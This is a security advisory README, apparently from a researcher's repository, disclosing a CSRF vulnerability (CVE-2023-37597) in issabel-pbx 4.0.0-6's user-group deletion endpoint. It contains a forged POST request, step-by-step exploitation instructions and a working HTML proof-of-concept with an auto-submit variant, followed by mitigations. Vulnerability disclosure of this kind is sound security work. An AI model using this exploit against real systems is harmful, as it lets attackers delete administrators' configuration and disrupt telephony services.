sahiloj/cve-2023-37597Issabel-pbx v 4.0.0-6 contains a Cross-Site Request Forgery (CSRF) vulnerability in its user group management functionality.
Disclaimer: This repository is intended for educational and authorized security research purposes only. Do not use this exploit against any system you do not own or have explicit written permission to test.
issabel-pbx is a widely used open-source Unified Communications platform (PBX) that provides VoIP services, telephony management, and web-based administration. Version 4.0.0-6 of issabel-pbx contains a Cross-Site Request Forgery (CSRF) vulnerability in its user group management functionality.
An unauthenticated remote attacker can craft a malicious HTML page that, when visited by an authenticated administrator, silently issues a forged HTTP POST request to delete any user group. Because the application does not validate the origin of state-changing requests with CSRF tokens or cookie policies, the browser automatically includes the administrator's session cookie, causing the deletion to succeed without the victim's knowledge or consent.
SameSite| Field | Value |
|---|---|
| CVE ID | CVE-2023-37597 |
| Vulnerability | Cross-Site Request Forgery (CSRF) |
| CWE | CWE-352 — Cross-Site Request Forgery (CSRF) |
| Severity | Medium |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| Affected Version | issabel-pbx 4.0.0-6 |
| Disclosed | 10 July 2023 |
| Researcher | Sahil Ojha |
| Field | Value |
|---|---|
| Product Name | issabel-pbx |
| Version | 4.0.0-6 |
| Vendor | Issabel Foundation |
| Vendor Homepage | https://www.issabel.org/ |
| Source Code | https://github.com/IssabelFoundation/issabelPBX |
| Tested On | Windows (Burp Suite Community Edition) |
Cross-Site Request Forgery (CSRF) is an attack that tricks a victim's browser into sending an authenticated request to a target application on behalf of the attacker. The attack succeeds when:
Origin/Referer validation, no SameSite=Strict or SameSite=Lax cookie attribute).The User Group delete endpoint (/index.php?menu=grouplist) in issabel-pbx 4.0.0-6 processes HTTP POST requests that contain only the delete action and an id_user parameter. The application does not:
Origin or Referer HTTP headers.SameSite attribute on session cookies.As a result, any web page loaded in the victim's browser can silently submit the deletion form using the victim's existing session, as the browser will automatically attach the session cookie.
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>
delete=Delete&id_user=<USER_GROUP_ID>
Warning: The following PoC is provided strictly for educational purposes. Use it only in lab environments or systems for which you have explicit authorization.
Step 1 — Log in to the Issabel admin panel
Navigate to the User Group list page and log in with administrator credentials.
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11
Step 2 — Capture the delete request
Attempt to delete a user group while proxying traffic through Burp Suite. Right-click the captured POST request and select Engagement Tools → Generate CSRF PoC to produce the exploit HTML skeleton.
Step 3 — Host the CSRF exploit page
Save the generated HTML as a file (see PoC Exploit Code below). Host it on an attacker-controlled server, or send it directly to the victim.
Step 4 — Victim opens the exploit page
When the authenticated administrator opens or is redirected to the exploit URL, the hidden form is auto-submitted (or the victim clicks the decoy button). The targeted user group is deleted from the admin panel.
The following HTML file (also available as CSRF exploit.html) demonstrates the attack. Replace {Issabel IP} with the target host and adjust id_user to match the group ID you want to delete.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_user" value="7" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Auto-submit variant: To remove the need for the victim to click anything, add the following inside the
<body>tag so the form submits automatically on page load:<script>document.forms[0].submit();</script>
| Dimension | Description |
|---|---|
| Integrity | An attacker can silently delete any user group from the Issabel admin panel. |
| Availability | Deletion of user groups disrupts call routing rules, access control, and telephony services for all users belonging to those groups, amounting to a partial Denial of Service. |
| Confidentiality | Not directly affected by this vulnerability. |
Administrators and developers should apply the following defenses:
Implement CSRF Tokens (Synchronizer Token Pattern)
Set SameSite Cookie Attribute
SameSite=Lax (minimum) or SameSite=Strict to prevent cross-origin requests from carrying session credentials.Set-Cookie: PHPSESSID=...; SameSite=Lax; Secure; HttpOnlyValidate Origin and Referer Headers
Origin or Referer header does not match the application's own domain.Require Re-authentication for Destructive Actions
Apply Defense-in-Depth
| Date | Event |
|---|---|
| 10 July 2023 | Vulnerability discovered and documented by Sahil Ojha |
| 10 July 2023 | CVE-2023-37597 assigned |
| 10 July 2023 | Public disclosure |
Sahil Ojha Security Researcher
If you found this research useful, feel free to ⭐ star the repository.